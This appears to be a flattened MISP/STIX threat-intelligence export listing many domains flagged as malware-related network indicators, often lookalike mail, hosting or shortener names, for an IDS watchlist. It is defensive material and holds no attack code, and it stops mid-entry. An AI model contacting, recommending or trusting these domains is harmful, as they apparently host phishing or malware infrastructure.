backwaterreservoir.com (MISP Attribute #18966) + Malware Artifacts + Domain Watchlist + Network activity: backwaterreservoir.com (MISP Attribute #18966) + + + + + backwaterreservoir.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailgatorservice.com (MISP Attribute #18711) + Malware Artifacts + Domain Watchlist + Network activity: mailgatorservice.com (MISP Attribute #18711) + + + + + mailgatorservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: supportserviceeu.com (MISP Attribute #18967) + Malware Artifacts + Domain Watchlist + Network activity: supportserviceeu.com (MISP Attribute #18967) + + + + + supportserviceeu.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: netsecureemailservice.com (MISP Attribute #18712) + Malware Artifacts + Domain Watchlist + Network activity: netsecureemailservice.com (MISP Attribute #18712) + + + + + netsecureemailservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bellsouthnetwork.com (MISP Attribute #18968) + Malware Artifacts + Domain Watchlist + Network activity: bellsouthnetwork.com (MISP Attribute #18968) + + + + + bellsouthnetwork.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linkshortnr.com (MISP Attribute #18713) + Malware Artifacts + Domain Watchlist + Network activity: linkshortnr.com (MISP Attribute #18713) + + + + + linkshortnr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: homeremedytipntricks.com (MISP Attribute #18969) + Malware Artifacts + Domain Watchlist + Network activity: homeremedytipntricks.com (MISP Attribute #18969) + + + + + homeremedytipntricks.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailhostingsecurenet.com (MISP Attribute #18714) + Malware Artifacts + Domain Watchlist + Network activity: mailhostingsecurenet.com (MISP Attribute #18714) + + + + + mailhostingsecurenet.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: cathostingservice.com (MISP Attribute #18970) + Malware Artifacts + Domain Watchlist + Network activity: cathostingservice.com (MISP Attribute #18970) + + + + + cathostingservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailtransferserver.com (MISP Attribute #18715) + Malware Artifacts + Domain Watchlist + Network activity: mailtransferserver.com (MISP Attribute #18715) + + + + + mailtransferserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: economyfeeds.com (MISP Attribute #18971) + Malware Artifacts + Domain Watchlist + Network activity: economyfeeds.com (MISP Attribute #18971) + + + + + economyfeeds.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emaildeliverysuccess.com (MISP Attribute #18716) + Malware Artifacts + Domain Watchlist + Network activity: emaildeliverysuccess.com (MISP Attribute #18716) + + + + + emaildeliverysuccess.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: productdemoservice.com (MISP Attribute #18972) + Malware Artifacts + Domain Watchlist + Network activity: productdemoservice.com (MISP Attribute #18972) + + + + + productdemoservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailmarkservice.com (MISP Attribute #18717) + Malware Artifacts + Domain Watchlist + Network activity: mailmarkservice.com (MISP Attribute #18717) + + + + + mailmarkservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ultimateresponseservice.com (MISP Attribute #18973) + Malware Artifacts + Domain Watchlist + Network activity: ultimateresponseservice.com (MISP Attribute #18973) + + + + + ultimateresponseservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailcommunicationservice.com (MISP Attribute #18718) + Malware Artifacts + Domain Watchlist + Network activity: mailcommunicationservice.com (MISP Attribute #18718) + + + + + mailcommunicationservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: cyberserverusa.com (MISP Attribute #18974) + Malware Artifacts + Domain Watchlist + Network activity: cyberserverusa.com (MISP Attribute #18974) + + + + + cyberserverusa.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailrockservice.com (MISP Attribute #18719) + Malware Artifacts + Domain Watchlist + Network activity: mailrockservice.com (MISP Attribute #18719) + + + + + mailrockservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: ecoserveraus.com (MISP Attribute #18975) + Malware Artifacts + Domain Watchlist + Network activity: ecoserveraus.com (MISP Attribute #18975) + + + + + ecoserveraus.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainemailhostings.com (MISP Attribute #18720) + Malware Artifacts + Domain Watchlist + Network activity: domainemailhostings.com (MISP Attribute #18720) + + + + + domainemailhostings.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: forumtechtopic.com (MISP Attribute #18976) + Malware Artifacts + Domain Watchlist + Network activity: forumtechtopic.com (MISP Attribute #18976) + + + + + forumtechtopic.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: rockerhostings.com (MISP Attribute #18721) + Malware Artifacts + Domain Watchlist + Network activity: rockerhostings.com (MISP Attribute #18721) + + + + + rockerhostings.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: interserver439.com (MISP Attribute #18977) + Malware Artifacts + Domain Watchlist + Network activity: interserver439.com (MISP Attribute #18977) + + + + + interserver439.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: basemailservice.com (MISP Attribute #18722) + Malware Artifacts + Domain Watchlist + Network activity: basemailservice.com (MISP Attribute #18722) + + + + + basemailservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: nameserver3476.com (MISP Attribute #18978) + Malware Artifacts + Domain Watchlist + Network activity: nameserver3476.com (MISP Attribute #18978) + + + + + nameserver3476.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostmailsecureserver.com (MISP Attribute #18723) + Malware Artifacts + Domain Watchlist + Network activity: hostmailsecureserver.com (MISP Attribute #18723) + + + + + hostmailsecureserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: onlinemusicstoreuk.com (MISP Attribute #18979) + Malware Artifacts + Domain Watchlist + Network activity: onlinemusicstoreuk.com (MISP Attribute #18979) + + + + + onlinemusicstoreuk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailpostsecureservice.com (MISP Attribute #18724) + Malware Artifacts + Domain Watchlist + Network activity: mailpostsecureservice.com (MISP Attribute #18724) + + + + + mailpostsecureservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: chatserverrussia.com (MISP Attribute #18980) + Malware Artifacts + Domain Watchlist + Network activity: chatserverrussia.com (MISP Attribute #18980) + + + + + chatserverrussia.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: strurl.click (MISP Attribute #18725) + Malware Artifacts + Domain Watchlist + Network activity: strurl.click (MISP Attribute #18725) + + + + + strurl.click + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: secureemailserver65.com (MISP Attribute #18981) + Malware Artifacts + Domain Watchlist + Network activity: secureemailserver65.com (MISP Attribute #18981) + + + + + secureemailserver65.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: securemailhost46.com (MISP Attribute #18726) + Malware Artifacts + Domain Watchlist + Network activity: securemailhost46.com (MISP Attribute #18726) + + + + + securemailhost46.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: snaphosterservice.com (MISP Attribute #18982) + Malware Artifacts + Domain Watchlist + Network activity: snaphosterservice.com (MISP Attribute #18982) + + + + + snaphosterservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostmailsecure.com (MISP Attribute #18727) + Malware Artifacts + Domain Watchlist + Network activity: hostmailsecure.com (MISP Attribute #18727) + + + + + hostmailsecure.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: siteadminhk.com (MISP Attribute #18983) + Malware Artifacts + Domain Watchlist + Network activity: siteadminhk.com (MISP Attribute #18983) + + + + + siteadminhk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailpostsecure.com (MISP Attribute #18728) + Malware Artifacts + Domain Watchlist + Network activity: mailpostsecure.com (MISP Attribute #18728) + + + + + mailpostsecure.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: nameserverredirect.com (MISP Attribute #18984) + Malware Artifacts + Domain Watchlist + Network activity: nameserverredirect.com (MISP Attribute #18984) + + + + + nameserverredirect.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailsecurehost.com (MISP Attribute #18729) + Malware Artifacts + Domain Watchlist + Network activity: mailsecurehost.com (MISP Attribute #18729) + + + + + mailsecurehost.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: affiliatedomainservice.com (MISP Attribute #18985) + Malware Artifacts + Domain Watchlist + Network activity: affiliatedomainservice.com (MISP Attribute #18985) + + + + + affiliatedomainservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailapiservice.com (MISP Attribute #18730) + Malware Artifacts + Domain Watchlist + Network activity: mailapiservice.com (MISP Attribute #18730) + + + + + mailapiservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: siteadmineurope.com (MISP Attribute #18986) + Malware Artifacts + Domain Watchlist + Network activity: siteadmineurope.com (MISP Attribute #18986) + + + + + siteadmineurope.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailchimpservice.com (MISP Attribute #18731) + Malware Artifacts + Domain Watchlist + Network activity: mailchimpservice.com (MISP Attribute #18731) + + + + + mailchimpservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: sitebloginfo.com (MISP Attribute #18987) + Malware Artifacts + Domain Watchlist + Network activity: sitebloginfo.com (MISP Attribute #18987) + + + + + sitebloginfo.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: postmarkapiservice.com (MISP Attribute #18732) + Malware Artifacts + Domain Watchlist + Network activity: postmarkapiservice.com (MISP Attribute #18732) + + + + + postmarkapiservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: xpertdomain.com (MISP Attribute #18988) + Malware Artifacts + Domain Watchlist + Network activity: xpertdomain.com (MISP Attribute #18988) + + + + + xpertdomain.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: loginservercheck.com (MISP Attribute #18733) + Malware Artifacts + Domain Watchlist + Network activity: loginservercheck.com (MISP Attribute #18733) + + + + + loginservercheck.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: aplsrvrer.com (MISP Attribute #18989) + Malware Artifacts + Domain Watchlist + Network activity: aplsrvrer.com (MISP Attribute #18989) + + + + + aplsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: checkmailserverhk.com (MISP Attribute #18734) + Malware Artifacts + Domain Watchlist + Network activity: checkmailserverhk.com (MISP Attribute #18734) + + + + + checkmailserverhk.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: bsrvrer.com (MISP Attribute #18990) + Malware Artifacts + Domain Watchlist + Network activity: bsrvrer.com (MISP Attribute #18990) + + + + + bsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: shortlinkcut.com (MISP Attribute #18735) + Malware Artifacts + Domain Watchlist + Network activity: shortlinkcut.com (MISP Attribute #18735) + + + + + shortlinkcut.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: csrvrer.com (MISP Attribute #18991) + Malware Artifacts + Domain Watchlist + Network activity: csrvrer.com (MISP Attribute #18991) + + + + + csrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserverhollandservice.com (MISP Attribute #18736) + Malware Artifacts + Domain Watchlist + Network activity: webserverhollandservice.com (MISP Attribute #18736) + + + + + webserverhollandservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: dsrvrer.com (MISP Attribute #18992) + Malware Artifacts + Domain Watchlist + Network activity: dsrvrer.com (MISP Attribute #18992) + + + + + dsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: postserviceemaildomain.com (MISP Attribute #18737) + Malware Artifacts + Domain Watchlist + Network activity: postserviceemaildomain.com (MISP Attribute #18737) + + + + + postserviceemaildomain.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: esrvrer.com (MISP Attribute #18993) + Malware Artifacts + Domain Watchlist + Network activity: esrvrer.com (MISP Attribute #18993) + + + + + esrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webhostwebcare.com (MISP Attribute #18738) + Malware Artifacts + Domain Watchlist + Network activity: webhostwebcare.com (MISP Attribute #18738) + + + + + webhostwebcare.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: isrvrer.com (MISP Attribute #18994) + Malware Artifacts + Domain Watchlist + Network activity: isrvrer.com (MISP Attribute #18994) + + + + + isrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: santanaservice.com (MISP Attribute #18739) + Malware Artifacts + Domain Watchlist + Network activity: santanaservice.com (MISP Attribute #18739) + + + + + santanaservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: zsrvrer.com (MISP Attribute #18995) + Malware Artifacts + Domain Watchlist + Network activity: zsrvrer.com (MISP Attribute #18995) + + + + + zsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailhostholland.com (MISP Attribute #18740) + Malware Artifacts + Domain Watchlist + Network activity: emailhostholland.com (MISP Attribute #18740) + + + + + emailhostholland.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: inrsrvrer.com (MISP Attribute #18996) + Malware Artifacts + Domain Watchlist + Network activity: inrsrvrer.com (MISP Attribute #18996) + + + + + inrsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: maillinkservice.com (MISP Attribute #18741) + Malware Artifacts + Domain Watchlist + Network activity: maillinkservice.com (MISP Attribute #18741) + + + + + maillinkservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mnrsrvrer.com (MISP Attribute #18997) + Malware Artifacts + Domain Watchlist + Network activity: mnrsrvrer.com (MISP Attribute #18997) + + + + + mnrsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hkdrillonline.com (MISP Attribute #18742) + Malware Artifacts + Domain Watchlist + Network activity: hkdrillonline.com (MISP Attribute #18742) + + + + + hkdrillonline.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mvrsrvrer.com (MISP Attribute #18998) + Malware Artifacts + Domain Watchlist + Network activity: mvrsrvrer.com (MISP Attribute #18998) + + + + + mvrsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hostsecuremail.com (MISP Attribute #18743) + Malware Artifacts + Domain Watchlist + Network activity: hostsecuremail.com (MISP Attribute #18743) + + + + + hostsecuremail.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: imgsrvrer.com (MISP Attribute #18999) + Malware Artifacts + Domain Watchlist + Network activity: imgsrvrer.com (MISP Attribute #18999) + + + + + imgsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailannounceservice.com (MISP Attribute #18744) + Malware Artifacts + Domain Watchlist + Network activity: mailannounceservice.com (MISP Attribute #18744) + + + + + mailannounceservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: nrgrsrvrer.com (MISP Attribute #19000) + Malware Artifacts + Domain Watchlist + Network activity: nrgrsrvrer.com (MISP Attribute #19000) + + + + + nrgrsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serverforshort.com (MISP Attribute #18745) + Malware Artifacts + Domain Watchlist + Network activity: serverforshort.com (MISP Attribute #18745) + + + + + serverforshort.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: minrsrvr.com (MISP Attribute #19001) + Malware Artifacts + Domain Watchlist + Network activity: minrsrvr.com (MISP Attribute #19001) + + + + + minrsrvr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: hathwaynetwork.com (MISP Attribute #18746) + Malware Artifacts + Domain Watchlist + Network activity: hathwaynetwork.com (MISP Attribute #18746) + + + + + hathwaynetwork.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: intrsrvrer.com (MISP Attribute #19002) + Malware Artifacts + Domain Watchlist + Network activity: intrsrvrer.com (MISP Attribute #19002) + + + + + intrsrvrer.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: servermain43.com (MISP Attribute #18747) + Malware Artifacts + Domain Watchlist + Network activity: servermain43.com (MISP Attribute #18747) + + + + + servermain43.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-msrgr.info (MISP Attribute #19003) + Malware Artifacts + Domain Watchlist + Network activity: mail-msrgr.info (MISP Attribute #19003) + + + + + mail-msrgr.info + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainsserver4f.com (MISP Attribute #18748) + Malware Artifacts + Domain Watchlist + Network activity: domainsserver4f.com (MISP Attribute #18748) + + + + + domainsserver4f.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-oa-en-us.com (MISP Attribute #19004) + Malware Artifacts + Domain Watchlist + Network activity: com-oa-en-us.com (MISP Attribute #19004) + + + + + com-oa-en-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainblacklistcheck.com (MISP Attribute #18749) + Malware Artifacts + Domain Watchlist + Network activity: domainblacklistcheck.com (MISP Attribute #18749) + + + + + domainblacklistcheck.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mrgrhr.com (MISP Attribute #19005) + Malware Artifacts + Domain Watchlist + Network activity: mrgrhr.com (MISP Attribute #19005) + + + + + mrgrhr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: serversap54.com (MISP Attribute #18750) + Malware Artifacts + Domain Watchlist + Network activity: serversap54.com (MISP Attribute #18750) + + + + + serversap54.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-nh-en-us.com (MISP Attribute #19006) + Malware Artifacts + Domain Watchlist + Network activity: com-nh-en-us.com (MISP Attribute #19006) + + + + + com-nh-en-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: sapserverhike.com (MISP Attribute #18751) + Malware Artifacts + Domain Watchlist + Network activity: sapserverhike.com (MISP Attribute #18751) + + + + + sapserverhike.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-io-en-us.com (MISP Attribute #19007) + Malware Artifacts + Domain Watchlist + Network activity: com-io-en-us.com (MISP Attribute #19007) + + + + + com-io-en-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: domainserveractive.com (MISP Attribute #18752) + Malware Artifacts + Domain Watchlist + Network activity: domainserveractive.com (MISP Attribute #18752) + + + + + domainserveractive.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: msrdr.com (MISP Attribute #19008) + Malware Artifacts + Domain Watchlist + Network activity: msrdr.com (MISP Attribute #19008) + + + + + msrdr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: netsecurehostingmy.com (MISP Attribute #18753) + Malware Artifacts + Domain Watchlist + Network activity: netsecurehostingmy.com (MISP Attribute #18753) + + + + + netsecurehostingmy.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: msrwr.com (MISP Attribute #19009) + Malware Artifacts + Domain Watchlist + Network activity: msrwr.com (MISP Attribute #19009) + + + + + msrwr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: pageredirectservice.com (MISP Attribute #18754) + Malware Artifacts + Domain Watchlist + Network activity: pageredirectservice.com (MISP Attribute #18754) + + + + + pageredirectservice.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mgrsr.com (MISP Attribute #19010) + Malware Artifacts + Domain Watchlist + Network activity: mgrsr.com (MISP Attribute #19010) + + + + + mgrsr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: emailbaseserverhl.com (MISP Attribute #18755) + Malware Artifacts + Domain Watchlist + Network activity: emailbaseserverhl.com (MISP Attribute #18755) + + + + + emailbaseserverhl.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-en-us.co.uk (MISP Attribute #19011) + Malware Artifacts + Domain Watchlist + Network activity: com-en-us.co.uk (MISP Attribute #19011) + + + + + com-en-us.co.uk + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: logincontrolserver.com (MISP Attribute #18756) + Malware Artifacts + Domain Watchlist + Network activity: logincontrolserver.com (MISP Attribute #18756) + + + + + logincontrolserver.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-er-en-us.com (MISP Attribute #19012) + Malware Artifacts + Domain Watchlist + Network activity: com-er-en-us.com (MISP Attribute #19012) + + + + + com-er-en-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: baseserveremailbg.com (MISP Attribute #18757) + Malware Artifacts + Domain Watchlist + Network activity: baseserveremailbg.com (MISP Attribute #18757) + + + + + baseserveremailbg.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: com-ar-en-us.com (MISP Attribute #19013) + Malware Artifacts + Domain Watchlist + Network activity: com-ar-en-us.com (MISP Attribute #19013) + + + + + com-ar-en-us.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: linkforwrder.com (MISP Attribute #18758) + Malware Artifacts + Domain Watchlist + Network activity: linkforwrder.com (MISP Attribute #18758) + + + + + linkforwrder.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: secureserver9898.com (MISP Attribute #19014) + Malware Artifacts + Domain Watchlist + Network activity: secureserver9898.com (MISP Attribute #19014) + + + + + secureserver9898.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailsecureservers.com (MISP Attribute #18759) + Malware Artifacts + Domain Watchlist + Network activity: mailsecureservers.com (MISP Attribute #18759) + + + + + mailsecureservers.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: deferrer.website (MISP Attribute #19015) + Malware Artifacts + Domain Watchlist + Network activity: deferrer.website (MISP Attribute #19015) + + + + + deferrer.website + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mailserveroutlook.com (MISP Attribute #18760) + Malware Artifacts + Domain Watchlist + Network activity: mailserveroutlook.com (MISP Attribute #18760) + + + + + mailserveroutlook.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: look-com.org (MISP Attribute #19016) + Malware Artifacts + Domain Watchlist + Network activity: look-com.org (MISP Attribute #19016) + + + + + look-com.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: websecurehostings.com (MISP Attribute #18761) + Malware Artifacts + Domain Watchlist + Network activity: websecurehostings.com (MISP Attribute #18761) + + + + + websecurehostings.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: mail-com.org (MISP Attribute #19017) + Malware Artifacts + Domain Watchlist + Network activity: mail-com.org (MISP Attribute #19017) + + + + + mail-com.org + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: anothershortnr.com (MISP Attribute #18762) + Malware Artifacts + Domain Watchlist + Network activity: anothershortnr.com (MISP Attribute #18762) + + + + + anothershortnr.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, 